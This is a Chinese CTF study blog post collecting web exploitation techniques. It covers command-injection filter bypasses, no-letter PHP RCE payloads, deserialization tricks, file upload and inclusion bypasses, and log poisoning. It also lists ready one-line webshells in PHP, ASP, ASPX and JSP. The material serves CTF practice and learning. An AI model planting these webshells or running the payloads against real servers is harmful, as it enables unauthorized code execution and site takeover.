CTF

CTF思路小总结

CTF常见方法技巧

Posted by Sprint#51264 on June 1, 2022

引言

开始做题扫泄露 页面有互动就页面上完成 页面有内容可以挖掘就从页面入手 没有思路就抓包分析 再没有思路就第三方工具尝试 数字过滤绕过构造首先考虑特性,再考虑位运算

隐藏内容

  • 页面黑黢黢,拖鼠标扒拉扒拉同颜色字体
  • 查看页面源码直接看元素
  • 扫描网站查看隐藏文件
  • php://filter查看页面源码
  • robots.txt隐藏页面文件(对于不能扫目录的网站更好用)
  • 手动猜测隐藏的网页例如register.php

正则绕过

空格绕过

$IFS

  • IFS(Internal Field Separator)内部字段分隔符,默认为空格,换行,制表符

    $IFS ${IFS} $IFS$1 //$1改成$加其他数字貌似都行 < <> {cat,flag.php} //用逗号实现了空格功能 %20(空格) %09(制表符tab) %0a(换行符)过滤中可能过滤数字,但这里的编码在检测的时候不算数字 %0b(垂直制表) %0c(换页符) %0d(回车) %00(空字符)

分号

  • php中如果?>没有被代替可以用其来代替分号,因为php中最后一条语句可以没有分号

关键字(全字匹配)

  • \

    linux下将关键字用\分隔,可以起到换行连接输入的作用,但是关键字全字匹配不到

  • 通配符

    是通配符代替敏感词中的某一部分,可以对特定文件执行操作

  • ''

    shell特性,两个单引号插在字符串中间,执行的时候自动忽略

  • .source命令

    刷新当前shell环境 在当前环境使用source执行shell脚本

  • 换命令

    cat->tac(逆向输出)->more(分页输出)->less(分页输出)->tail(文件最尾部信息)

    • tac

      逆向输出文件内容

    • tail

      显示文件尾部内容

      -c<数目>显示的字节数 -n<行数>显示的行数

    • head

      显示文件开头的内容

      -c<数目>显示的字节数 -n<行数>显示的行数

    • od

      将文件内容以八进制形式输出

    • nl

      将文件添加行号标注后写到标准输出

清奇思路

  • 命令执行变量拼接

    /?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php

  • 过滤bash用sh执行

    echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

  • 内联执行

    ?ip=127.0.0.1;cat$IFS$9ls``

  • 造参传参

    c=$nice=include$_GET["url"]?>&url=php://filter/read=convert.base64-encode/resource=flag.php

    c=eval($_GET[1]);&1=system('cat flag.php');

    c=include%0a$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

  • 通配符

    如果要对含有关键字的文件进行访问,可以使用cp命令结合通配符将文件拷贝到新的文件中,访问新建文件读取源文件内容

      cp fla?.php 1.txt
    
      url/1.txt
    
    
  • 移花接木

    既然可以命令执行,那就把对应文件中的内容cp到新的文档中,然后对文档内容输出,间接读取

命令执行

概述

命令执行用到的方法在其他板块中也有,主要就是绕过过滤,包含的内容可能是空格绕过,php特性,shell特性,无参RCE,或者无字母RCE

常见方法

PHP特性命令

return 1-phpinfo()-1这样可以执行命令,中间的字符’-‘可以替换成其他字符

return 1?phpinfo():1三目运算符,可以执行命令

中断进程

ob_get_contents();ob_end_clean();获取缓冲区内容,清除缓冲区内容,后面再跟一个替换内容的函数,我们传参可以直接在后面跟 exit(0);退出进程,停止执行后面点函数

直接函数使用

echo highlight_file(xxx.php);

show_source(),file_get_contents(),readfile()

造参传参

include($_GET[1])
1=php:\/\/filter/read=convert.base64-encode/resource=xxx.php

包含指定文件变量

include('flag.php');echo $flag;`

变量输出

include('flag.php');var_dump(get_defined_vars());
//先包含文件,在不知道对应变量名的情况下输出所有变量
如果是txt文本包含之后默认自动输出没有php标签

目录查看

var_dump(scandir("/"));
print_r(scandir("."));
var_export();
如果scandir目录被封就用*glob://*协议

$c=$it=new DirectoryIterator("glob:///*.txt");//找到所有txt文件
foreach($it as $f) {//遍历输出
    printf("%s\n", $f->getFilename());//输出文件名
}exit();

数据库对象PDO

PDO :PHP数据对象提供了一个数据访问抽象层,不管使用哪种数据库,都可以用相同的函数(方法)来查询获取数据。

try {
    $dbh = new PDO($dsn, $user, $pass); //初始化一个PDO对象
    echo "连接成功<br/>";
    /*你还可以进行一次搜索操作
    foreach ($dbh->query('SELECT * from FOO') as $row) {
        print_r($row); //你可以用 echo($GLOBAL); 来看到这些值
    }
    */
    $dbh = null;
} catch (PDOException $e) {
    die ("Error!: " . $e->getMessage() . "<br/>");
}

c=try {$dbh= new PDO('mysql:host=localhost;dbname=ctftraining','root','root');foreach($dbh->query('select load_file("/flag36.txt")')as $row){echo($row[0])."|";}$dbh=null;}catch (PDOException $e){echo $e->getMessage();exit(0);}exit(0);

UAF(use after free)

  • 概述

    参见UAF (Use After Free)漏洞分析及利用

    应用程序调用free()释放内存时,如果内存块小于256kb,dlmalloc并不马上将内存块释放回内存,而是将内存块标记为空闲状态。这么做的原因有两个:一是内存块不一定能马上释放回内核(比如内存块不是位于堆顶端),二是供应用程序下次申请内存使用(主要原因,我觉得应该是为了提高效率)。当dlmalloc种空闲内存达到一定值时dlmalloc才将空闲内存释放回内核。如果应用程序申请的内存大于256kbdlmalloc调用mmap()向内存申请一块内存,返还给应用程序使用。如果应用程序释放的内存大于256kbdlmalloc马上调用munmao()释放内存。dlmallloc不会缓存大于256kb的内存块,因为这样的内存块太大了,最好不要长期占用这么大的内存资源。

  • 正文

    如此可见,如果p1指针指向的地址里面有一个函数p1[3]=echo,后来对p1空间进行释放,虽然释放了,但是内存还没有归还,还可以继续调用,然后申请一个和p1相同大小的p2空间,那么系统就还会把p1的空间分配给p2,此时对p2进行修改,就会修改p1中的内容,替换函数为p2[3]=system,然后再调用p1[3]就可以执行系统命令了

FFI(语言交互接口)

c=$ffi=FFI:cdef("int system(const char *command);");
$a='/readflag > /var/www/html/1.txt';
$ffi->system($a);exit();

命令构造

用于system()

从当前路径中截取字母构造读取命令nl.cat等等等等

${PATH:~0}${PWD:~0}$IFS????.???~数字或者字母都代表从最后往前数第几个字母,从这个位置开始截取后面的字符串

#代表取长度,#SHLVL深度数字的长度为1,也就是深度是一个数字,对深度取长度就是1

/var/www/html # ls /bin

${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}??${HOME:${#HOSTNAME}:${#SHLVL}} ????.???cat flag.php

  • 常用变量
${PATH}当前路径
${SHLVL}深度
${HOME}
${PWD}当前目录
${BASH}
${PHP_VERSION}PHP版本
${PHP_CFLAGS}

shell命令

  • base64

1base64 file
功能从指定的文件file中读取数据编码为base64的字符串然后输出

2echo string | base64
功能将字符串string+换行编码为base64的字符串然后输出

3echo -n string | base64
功能将字符串string编码为base64的字符串然后输出

无字母RCE

位运算异或RCE

找到两个非字母的字符,使得两者二进制异或之后变为对应字母就可,将它们连接起来然后传进去okk

异或运算,二进制字符进行比较,相同返回0,不同返回1

<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);

位运算取反RCE

利用UTF-8编码中的某个汉字,将其中的某个字符提取出来,比如'和'{2}的结果是\x8c,其取反为字母s

$(())数学运算(适用于多种进制)

$(())=0
~$(())=~0 #取反
$((~$(())))=-1 #对-0进行数学运算

$((~$(($((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(()))))))) #36 先对零取反再运算得-1,36个-1相加再取反得36


页面构造

构造上传文件页面,php不能判断这个页面之后还会不会用到,就会先保留在临时目录下 /tmp/phpxxxxxX(五个小写字母一个大写字母)

linux cmd命令正则

  • linux下’'可以用在命令行中,用在行尾可以换行并连接上一行命令尾部,也就是起换行的作用,但是命令不会中断,所以可以用来绕过完整匹配模式的正则匹配

PHP字符串解析漏洞

PHP会将URL或者body中的查询字符关联到$_GET或者$_PSOT,例如?num=asd代表Array([num]=>"asd"),但是查询字符串在解析的过程中会将某些字符删除或者用下划线代替,例如?%20num[01=asd代表着Array([num_01]=>"asd"),其中空格被删去并且中括号被替换成了下划线,利用这一点就可以对防火墙检测策略进行绕过。

如果检测的是页面GET的num变量,但是传值传的是%20num,在检测过程中找不到num变量,但是在解析过程中PHP依旧会将%20num值赋给num,从而达到绕过检测并传递非法值的目的。

PHP常见函数

内容参见php常用的系统函数大全


字符串函数

|函数|描述| |:-:|:-:| var_dump |判断一个变量的类型与长度,如果变量有值就输出变量的类型与值 strlen |获取字符串长度,字节长度 substr_count|某字符串出现的次数 substr |字符串截取,获取字符串(按照字节进行截取) mb_strlen mb_substr strchr |与substr相似,从指定位置截取一直到最后 strrchr(获取文件后缀)|与strchr一样,只是从右边开始查找字符 strtolower |所有的字符都小写(针对英文字母) strtoupper |所有的字符都大写 strrev |字符串反转(只能反转英文:英文存储只有一个字节),按照字节进行反转 strpos |从字符串中找对应字符出现的位置(数字下标),从最左边开始找 strrpos |与strpos一样,只是从字符串的右边开始找 trim |去掉函数两边的字符,默认是空格 str_split |函数把字符串分割到数组中。 chunk_split()|函数把字符串分割为一连串更小的部分 str_repeat(“Shanghai”,5)|把字符串 “Shanghai “ 重复 5 次 str_replace(‘\’,’/’,dirname(DIR)))|替换 ucfirst |首字母大写 ***

时间日期函数

|函数|描述| |:-:|:-:| time |得到当前时间的时间戳(整型:从格林威治时间1970年1月1日0时0分0秒开始)秒数 date|时间序列化函数,将指定的时间戳转换成规定时间日期的显示格式(随意的字符串:有专业的格式符规定),如果没有指定时间戳,系统默认使用当前时间的时间戳 strtotime |时间日期格式的字符串转换成对应的时间戳(只要是正确的英语时间表达方式,都可以进行转换) microtime |微秒时间戳,根据不同的要求返回不同的结果 混合 microtime (布尔类型 ),可以返回一个浮点数的时间,也可以返回一个数组(时间戳和微秒数) ***

数学相关函数

|函数|描述| |:-:|:-:| abs |绝对值 floor |向下取整 floor(3.2) 结果等于3 ceil |向上取整 round |四舍五入 rand |取得一个指定范围内的随机整数 mt_rand |取得一个指定范围内的随机整数(效率更高) min |PHP 会将非数值的 string 当成 0,但如果这个正是最小的数值则仍然会返回一个字符串。如果多个参数都求值为 0 且是最小值,min() 会返回按字母表顺序最小的字符串,如果其中没有字符串的话,则返回数值的 0; max |PHP 会将非数值的字符串当成 0,但如果这个正是最大的数值则仍然会返回一个字符串。如果多个参数都求值为 0 且是最大值,max() 会返回其中数值的 0,如果参数中没有数值的 0,则返回按字母表顺序最大的字符串。对于多个数组,max从左到右比较;如果同时出现数组和非数组参数总把数组作为最大值返回;


数组相关函数

|函数|描述| |:-:|:-:| count() // 非数组返回1 key |获取当前数组当前指针所指向的元素的下标 current |获取的当前指针指向元素的数值 next |获取下一个元素的值,并且将指针下移 prev |获取上一个元素的值,并且将指针上移 end |将指针移到数组的最后一个元素,并返回最终指针位置的值 reset |将指针移到数组的第一个元素,返回最终指针位置的值 array_keys |获取一个数组的所有键名,返回一个索引数组 array_values|获取一个数组的所有值,返回一个索引数组 explode |爆炸,将一个字符串按照某个指定的规则(通常是特殊字符),将数组分成多个段,每一段都当做一个数组的元素,返回一个索引数组 split |类似 explode explode(‘.’, ‘abc.txt’)等于split(‘.’,’abc.txt’) implode |粘合,将一个数组内部的所有元素按照某个指定的规则(特殊字符),将所有的元素拼接成一个字符串 join() | 把数组元素组合为一个字符串 array_merge |合并,指的是将两个数组中的元素进行累计。如果后面的数组与前面的数组有下标(键名:关联)相同的,那么后面的元素的值会覆盖前面的;如果是索引的相同下标,会自动的修改下标叠加到前面的数组里。 array_reverse| 返回反转后的数组,也就是说原来数组倒数第二个元素变为正数第二个元素 array_flip |交换数组中的键和值 数据结构模拟函数# array_shift |从数组的前面弹出元素,得到元素的值 array_pop |从数组的后面弹出元素,获得元素的值 array_unshift|从数组的前面压入元素,得到当前数组元素的个数 array_push |从数组的后面压入元素,得到当前数组元素的个数


判断变量

|函数|描述| |:-:|:-:| is_bool |判断是否是布尔类型 is_float |判断浮点型 is_integer |判断整型 is_object |判断对象 is_array |判断数组 is_string |判断字符串 is_resource |判断资源 is_scalar |scalar是标量的,判断是基本数据类型:整型,浮点型,布尔型和字符串型 is_null |检测变量是否为NULL 是返回TRUE 否则返回false。1.被赋值为NULL;2.变量没被赋值;3.被unset() is_numeric |判断数字或者纯数字组成的字符串 gettype |获得数据类型 settype |改变数据类型 isset unset() |如果在函数中 unset() 一个全局变量,则只是局部变量被销毁,而在调用环境中的变量将保持调用 unset() 之前一样的值,如果在函数中 unset() |一个通过引用传递的变量,则只是局部变量被销毁,而在调用环境中的变量将保持调用 unset() 之前一样的值。 empty |array(),”“,0,”0”,NULL,FALSE 都返回true


文件操作函数(重要!!)

|函数|描述| |:-:|:-:| opendir(路径) |打开一个路径资源(将路径内部的所有数据读入到内存) readdir(路径资源) |从文件夹资源中读取当前资源指针所指向的文件的名字,指针会向下移动一位 closedir(资源) |释放对应的文件资源 scandir(路径) |读取一个路径内部的所有文件名,返回一个数组,数组的每一个元素都是文件名。 file_exists |判断一个文件是否存在(文件是广义:路径和文件) is_dir |判断一个指定路径是否存在(文件夹) is_file |判断一个指定路径是否是文件(文件) mkdir |创建一个路径,如果路径存在就会报错 rmdir |移除文件夹 file_get_contents |从一个指定的文件内读取数据内容。 file_put_contents |将指定的字符串写入到对应的文件 fopen |打开一个文件资源 fgetc |c代表character,一次读取一个字符 fgets |s代表string,代表可以读取多个字符,取决于指定的读取长度或者是否碰到换行(最多只能读取一行数据) 两个函数都是对当前资源指针进行操作,读取之后都会将指针下移 fread |获取指定长度的数据直到文件结束 fwrite |向文件资源指针所在的位置写入数据,写东西不会将当前位置已有的东西往后移,而是会覆盖 fseek |将指针指定到对应的位置 fclose |使用对应的文件资源 copy |复制 unlink |删除文件 rename |重命名文件 filemtime |m代表modify,文件最后被修改的时间 filesize |文件大小(字节) fileperms |文件权限(Linux下的八进制)


排序

|函数|描述| |:-:|:-:| rsort() |函数用于对数组单元从高到低进行排序。 asort() |函数用于对数组单元从低到高进行排序并保持索引关系。 arsort() |函数用于对数组单元从高到低进行排序并保持索引关系。 ksort() |函数用于对数组单元按照键名从低到高进行排序。 krsort() |函数用于对数组单元按照键名从高到低进行排序。

报错

|函数|描述| |:-:|:-:| error_reporting(E_ALL) ini_set(‘display_errors’, 1)


常量

|函数|描述| |:-:|:-:| define() 定义常量 defined() 检测常量是否定义


序列化

|函数|描述| |:-:|:-:| serialize unserialize json_encode|对变量进行 JSON 编码 json_decode|对JSON 格式的字符串进行编码


编码

base64_encode 编码

本函数将字符串以 MIME BASE64 编码。在 BASE64 编码后的字符串只包含英文字母大小写、阿拉伯数字、加号与反斜线,共 64 个基本字符,不包含其它特殊的字符,因而才取名 BASE64。

base64_decode 解码

PHP特性

短标签

  • <? echo '123';?> 前提是开启配置参数short_open_tags=on

  • <?=(表达式)?> 等价于 <?php echo (表达式)?> 不需要开启参数设置

  • <% echo '123';%> 前提是开启配置参数asp_tags=on,经过测试发现7.0及以上修改完之后也不能使用,而是报500错误,但是7.0以下版本在修改完配置后就可以使用了

  • <script language=”php”>echo '123'; </script> 不需要修改参数开关,但是只能在7.0以下可用。

函数绕过

strcmp()

strcmp()函数的作用是比较两个字符串

如果 str1 小于 str2 返回 < 0;如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0

strcmp函数无法比较数组,返回0

intval()

通过使用指定的进制 base 转换(默认是十进制),返回变量 value 的 int 数值。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。

数组是对象,可以通过传数组判断方法

成功时返回 var 的 integer 值,失败时返回 0。 空的 array 返回 0,非空的 array 返回 1。 intval(mixed $value, int $base = 10): int//要转换成 integer 的数量值,转化所使用的进制 如果 base 是 0,通过检测 value 的格式来决定使用的进制:

如果字符串包括了 “0x” (或 “0X”) 的前缀,使用 16 进制 (hex);否则,如果字符串以 “0” 开始,使用 8 进制(octal);否则,将使用 10 进制 (decimal)。

echo intval(42);                      // 42
echo intval(4.2);                     // 4
echo intval('42');                    // 42
echo intval('+42');                   // 42
echo intval('-42');                   // -42
echo intval(042);                     // 34
echo intval('042');                   // 42
echo intval(1e10);                    // 1410065408
echo intval('1e10');                  // 1
echo intval(0x1A);                    // 26
echo intval(42000000);                // 42000000
echo intval(420000000000000000000);   // 0
echo intval('420000000000000000000'); // 2147483647
echo intval(42, 8);                   // 42
echo intval('42', 8);                 // 34
echo intval(array());                 // 0
echo intval(array('foo', 'bar'));     // 1

intval()函数如果$base为0则$var中存在字母的话遇到字母就停止读取 但是e这个字母比较特殊,可以在PHP中不是科学计数法。所以为了绕过前面的==4476我们就可以构造 4476e123 其实不需要是e其他的字母也可以

intval对加号或者空格开头的数字会自动进行去空处理

  • 绕过

is_numeric

判断参数是否为数字,数字前加(空)可以绕过 常用空字符

%20---普通空格
%09---制表符
%0a---换行符
%0d---回车符
%00---空字节符
%0B---垂直制表符
以上是trim()函数去除的
%0c---换页符

preg_match

正则匹配,有正则溢出 250000次

内置类

利用内置类结合函数执行,可以在类创造的时候执行对应代码

反射类ReflectionClass

echo new ReflectionClass()
可以将括号中的语句在类构建时执行

迭代器FilesystemIterator

目录迭代器

v1=FilesystemIterator&v2=getcwd

变量覆盖

(PHP中的变量覆盖漏洞)[https://www.cnblogs.com/xhds/p/12587249.html]

extract(array,extract_rules,prefix)变量覆盖

[安洵杯 2019]easy_serialize_php

extract() 函数从数组中将变量导入到当前的符号表。

该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。

该函数返回成功设置的变量数目。

当我们传入SESSION[flag]=123时,$SESSION["user"]$SESSION['function'] 全部会消失。

parse_str()

parse_str() 函数把查询字符串解析到变量中

注释:如果未设置 array 参数,由该函数设置的变量将覆盖已存在的同名变量。

注释:php.ini 文件中的 magic_quotes_gpc 设置影响该函数的输出。如果已启用,那么在 parse_str() 解析之前,变量会被 addslashes() 转换。

extract(_POST)@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);

像这种情况如果你GET传一个_POST[]数组那么就会覆盖原有准备`$_POST`传参的变量也就是说原来是需要POST传参的但是现在被GET传的同名数组给替换了

动态变量覆盖

foreach($_GET as $key=>$value)
意思就是将get的赋值变为$key=$value
if get:a=b
也就是说($key=a)=>($value=b)
$bar= "a";
$Foo="Bar";
$World="Foo";
$Hello="world";
$a="Hello";

echo $a; //hello
echo $$a; //world
echo $$$a; //foo
echo $$$$$a; //Bar
echo $$$$$$a; //a
echo $$$$$$$a; //hello
echo $$$$$$$$a; //world

parse_str(string,result)变量覆盖

该函数将查询的字符串解析到变量中 parse_str(string,array)

parse_str("name=xiaohua&age=22");
echo $name."<br>";
echo $age;
?>
//xiaohua
//22

如果 string 是 URL 传递入的查询字符串(query string),则将它解析为变量并设置到当前作用域(如果提供了 result 则会设置到该数组里 )。

import_request_variables()

(PHP 4 >= 4.1.0, PHP 5 < 5.4.0) 将 GET/POST/Cookie 变量导入到全局作用域中

register_globals()

在PHP5.3之前 默认开启 PHP5.3默认关闭 PHP5.6及5.7已经被移除 当register_globals全局变量设置开启时,传递过来的值会被直接注册为全局变量而使用,这会造成全局变量覆盖

非法变量转换

PHP变量中包含数字字母下划线,PHP对定义的非法变量进行转换,但是在整个非法变量中只转换一次,也就是说,如果一个变量中出现两个非法字符,将只转换第一个,对第二个不进行转换。


what[123.com => what_123.com #此处只对第一处非法字符进行转换,而没有转换`.`

反序列化

序列化与反序列化只是数据形式的变换,所以并不是只针对于定义好的类。

$a=’what’;echo serialize($a);//s:5:”what?”

对一个对象进行序列化,只是将其属性数据保存起来,但是并不保存其方法,因为方法并不是数据

##

魔法函数

_wakeup()函数绕过

5.6版本?以下使序列化后的数据对象个数与实际不符,就可以。
7.4版本以上,如果类中有__unserialize()方法的话自动绕过__wakeup()魔法函数

__construct: 在创建对象时候初始化对象,一般用于对变量赋初值。 __destruct: 和构造函数相反,当对象所在函数调用完毕后执行。 __toString:当对象被当做一个字符串使用时调用。 __sleep:序列化对象之前就调用此方法(其返回需要一个数组) __wakeup:将在反序列化之后立即被调用,反序列化恢复对象之前调用该方法 __call:当调用对象中不存在的方法会自动调用该方法。 __get:在调用私有属性的时候会自动执行 __isset()在不可访问的属性上调用isset()或empty()触发 __unset()在不可访问的属性上使用unset()时触发 __invoke() 将对象当作函数来使用的时候,会自动调用该方法

字符逃逸

  • 增字符适用场景

    通常用于先对一个类序列化之后再进行字符替换,然后再进行反序列化,此时序列化中被替换后的字符串如果和其标明的长度不相符,比如标明长度为6,但是字符串长度却为7,就会造成一个字符逃逸读不到,提前寻找闭合,利用这个特性就可以构造payload

      public $name='aaaabbbbbbb";s:4:"pass";s:6:"hacker;}";'
    
    

    只是举个例子,就构造类似这样的就行,后面的闭合有多长就要逃逸多少个字符

    如果是以数组形式传入的话要注意将各个部分用}再分隔一次,见[0ctf2016 piapiapia]

  • 减字符使用场景

    [安洵杯 2019]easy_serialize_php

    过滤之后将原来的关键字替换为,也就是说,标明长度为6,实际为0,就会继续向后读,找到长度为6的闭合,

对象逃逸

方法引用

  • call_user_func() 回调函数的使用方法,数组 ```php // Type 1: Simple callback call_user_func(‘my_callback_function’);

// Type 2: Static class method call call_user_func(array(‘MyClass’, ‘myCallbackMethod’));

// Type 3: Object method call $obj = new MyClass(); call_user_func(array($obj, ‘myCallbackMethod’));

// Type 4: Static class method call (As of PHP 5.2.3) call_user_func(‘MyClass::myCallbackMethod’);

// Type 5: Relative static class method call (As of PHP 5.3.0)

## 小技巧



*  换列名

    ```php
    alter table 表名 change column `原列名` `现列名` 类型(长度)/*varchar(212)*/
    ```
    将密码列与id列互换,这样select密码就是在select id,大大降低密码爆破难度,只要id和用户名对就能登录,使用堆叠注入

* `十六进制检测`

    mysql支持十六进制值查询,在数字上下文中,十六进制数如同整数(64位精度)。在字符串上下文,如同二进制字符串,每对十六进制数字被转换为一个字符

* `赋值引用`

    ```php
    // ctfshow 265
    $ctfshow = unserialize($_GET['ctfshow']);
    $ctfshow->token=md5(mt_rand());

    if($ctfshow->login()){
        echo $flag;
    }


    ```
* 大小写检测

    PHP内对函数不区分大小写,类也不区分大小写,只有变量名区分


    出现这样强制修改值的题,就用引用变量的方法,使两块变量的空间地址一样,这样一改就导致两个值都变化,等式恒成立

# 文件上传
>(Web漏洞_文件上传总结(前端js验证、后端验证、DVWA1.9版本实验)
)[https://blog.csdn.net/BeatRex/article/details/84625658]
一篇不错的博客拿来借鉴

## 前端验证
* 通过浏览器审查元素对网页的代码查看,找到对文件格式或大小的限制然后修改即可

* 通过Burpsuite工具对浏览器进行代理,抓包对包里的内容进行修改

* 浏览器禁用JavaScript脚本

## 后端验证

* MIME类型验证
* 文件后缀验证
* 文件路径验证(权限问题)
* 文件内容验证

### 类型绕过

* 改MIME
* 改数据包的content-type字段
* 改文件头
* 利用服务器解析漏洞
* 点绕过
* $data::绕过
* 00截断

## 一句话木马

* 简介

    Webshell是指以asp,jsp,php或者cgi等网页形式存在的以中`命令执行环境`,也可以叫做网页后门

    由于webshell大多是以动态脚本形式出现,有人称之为网站的后门工具,`常常被站长用来管理网站`

    但是一旦被攻击者得到可以利用它来达到长期控制网站服务器的目的,并获得执行权限

* 
    >要注意的是一句话里面的“[]”可以替换为“{}”
    * php 
        
        ```php
        <?php @eval($_POST[x]);?>
        <?php system($_GET['cmd']);?>
        <?php assert($_REQUEST[cmd]);?>
        
        <?php @preg_replace("/abc/e",$_REQUEST['cmd'],"abcd");?>

        <?php
        $func =create_function('',$_REQUEST['cmd']);
        $func();
        ?>

        ```

    * asp

        ```s
        
        <%eval request("777")%>
        
        <%execute request("777")%>
        
        <%execute(request("777"))%>

        <%executeGlobal request("777")%>

        <%eval(Request(chr(35)))%> #ASCII码值

        <%response.write server.createobject("wscript.shell").exec("cmd.exe /c "&request("cmd")).stdout.readall%>

        ```

    * aspx

        `<%@ Paage Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%>`

    * phtml

        `<script Language="php">eval($_REQUEST[shell])</script>`

    * jsp

        >执行系统命令且有回显
        ```jsp
        <% if("023".equals(request.getParameter("pwd"))){ java.io.InputStream in = 
        Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048]; 
        out.print("<pre>");
        while((a=in.read(b))!=-1){
        out.println(new String(b,0,a));
        }out.print("</pre>");
        }%>

        ```

## 配置文件

* .htaccess

    .htaccess是伪静态环境配置文件,用于lamp,apache

    

* .user.ini

    >[参见----->](https://wooyun.js.org/drops/user.ini%E6%96%87%E4%BB%B6%E6%9E%84%E6%88%90%E7%9A%84PHP%E5%90%8E%E9%97%A8.html)
    `.user.ini`是`lnmp`文件,里面放的是网站的文件夹路径地址,目的是放指跨目录访问和文件跨目录读取

    .user.ini只对他同一目录下的文件起作用

    自`PHP5.3.0`起,PHP支持基于每个目录的INI文件配置,此类文件仅被CGI/FastCGI SAPI处理。此功能使得 PECL 的 htscanner 扩展作废。如果你的 PHP 以模块化运行在 Apache 里,则用 .htaccess 文件有同样效果。 

    除了`主php.ini`之外,PHP还会在每个目录下扫描INI文件,从被执行的PHP文件所在目录开始一直上升到`web根目录`($_SERVER['DOCUMENT_ROOT']所指定的)。如果被执行的PHP文件在web个目录之外,则`只扫描该目录`。

    在`.user.ini`风格的INI文件中只有具有`PHP_INI-PERDIR`和`PHP_INI_USER`模式的INI设置可被识别。

    两个新的INI指令,`user_ini.filename`和`user_ini.cache_ttl`控制着用户INI文件的使用。

    `user_ini.filename`设定了PHP会在每个根目录下搜寻的文件名;如果设定为空字符串则PHP不会搜寻。默认值是`.user.ini`。
    
    `user_ini.cache_ttl`控制着重新读取用户INI文件的间隔时间。默认是`300秒(5分钟)`。

    ```php
    auto_append_file=//在文件底部加载文件
    auto_prepend_file=//在文件顶部加载文件

    ```

## 常见文件头
JPEG (jpg),                          文件头:FFD8FF              
PNG (png),                          文件头:89504E47  文件尾:0000000049454E44AE426082
GIF (gif),                             文件头:47494638
ZIP Archive (zip),                     文件头:504B0304 文件尾:00000000
TIFF (tif),                              文件头:49492A00
Windows Bitmap (bmp),         文件头:424D
CAD (dwg),                           文件头:41433130
Adobe Photoshop (psd),          文件头:38425053
Rich Text Format (rtf),             文件头:7B5C727466
XML (xml),                              文件头:3C3F786D6C
HTML (html),                           文件头:68746D6C3E
Email [thorough only] (eml),     文件头:44656C69766572792D646174653A
Outlook Express (dbx),            文件头:CFAD12FEC5FD746F
Outlook (pst),                         文件头:2142444E
MS Word/Excel (xls.or.doc),      文件头:D0CF11E0
MS Access (mdb),                    文件头:5374616E64617264204A
WordPerfect (wpd),                  文件头:FF575043
Adobe Acrobat (pdf),               文件头:255044462D312E
Quicken (qdf),                         文件头:AC9EBD8F
Windows Password (pwl),         文件头:E3828596
RAR Archive (rar),                    文件头:52617221
Wave (wav),                            文件头:57415645
AVI (avi),                                 文件头:41564920
Real Audio (ram),                     文件头:2E7261FD
Real Media (rm),                       文件头:2E524D46
MPEG (mpg),                           文件头:000001BA
MPEG (mpg),                           文件头:000001B3
Quicktime (mov),                     文件头:6D6F6F76
Windows Media (asf),               文件头:3026B2758E66CF11
MIDI (mid),                              文件头:4D546864 

## 常见MIME类型

* `zip`
    
    Content-Type: application/x-zip-compressed

## 骚操作写马
>https://yn8rt.blog.csdn.net/article/details/119425905

>通过对特定组合字符进行操作来拼接出一句话

* 111

```php
$a="s#y#s#t#e#m";
$b=explode("#",$a);
$c=$b[0].$b[1].$b[2].$b[3].$b[4].$b[5].$b[6];
$c($_REQUEST[1]);

  • 222
    $a=substr("1s",1).'ystem';
    $a($_REQUEST[1]);
    
  • 333 ```php $a=strrev(‘metsys’); $a($_REQUEST[1]);

* 444
```php
$a=$_REQUEST['a'];
$b=$_REQUEST['b'];
$a($b);

小技巧

  • 传文件

    ctfshow 169 传zip改content-type为image/png,然后利用日志包含auto_append_file=/var/log/nginx/access.log

文件包含

常用来写入shell、命令执行

常用伪协议

https://www.php.net/manual/zh/wrappers.data.php

  • php://input
是一个可以访问原始数据的只读流

`file_get_contents(php://input)`接收post数据//ctfshow 266

`php://input <?PHP fputs(fopen('shell.php','w'),<?php eval($_REQUEST[c])?>)?>` (写入shell)

`php://input <?php system('whoami');?>`
  • php://filter

    php://filter/read=convert.base64-encode/resource=xxx.php(读文件源码)

    php://filter/write=string.rot13/resource=2.php(写入文件按)

    php://filter/resource=flag.php(读文件源码)

    php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php(读文件源码)

    php://filter/read=convert.quoted-printable-encode/resource=flag.php(读文件源码)

    compress.zlib://flag.php(读文件源码)

  • data://text

    data://text/plain,<?php phpinfo();?>(相当于代码执行)

    data://text/plain;base64,xxxxxx(打印内容)

  • zlib://压缩流

    compress.zlib://a.txt(读文件) compress.bzip2://file.bz2

    日志包含

    包含日志文件getshell

  • 概述 当没有上传点,也没有url_allow_include()功能时,我们可以考虑包含服务器的日志文件,原理是,当访问网站时日志会记录我们的行为,如果访问连接中包含一句话吗木马,也会被记录到日志中。这时候我们如果知道服务器的日志位置,我们可以去包含这个文件从而拿到shell,关键步骤就是找日志存放的物理路径

日志路径

  • linux

    • nginx

      /var/log/nginx/access.log

session包含(无后缀文件包含)

  • PHP_SESSION_UPLOAD_PROGRESS

    参见利用session.upload_progress进行文件包含和反序列化渗透

  • 概述

    当向服务器上传一个文件的时候,服务器会把文件上传的时间以及进度保存在session当中,当上传文件结束之后就会立即清空session文件中的内容。

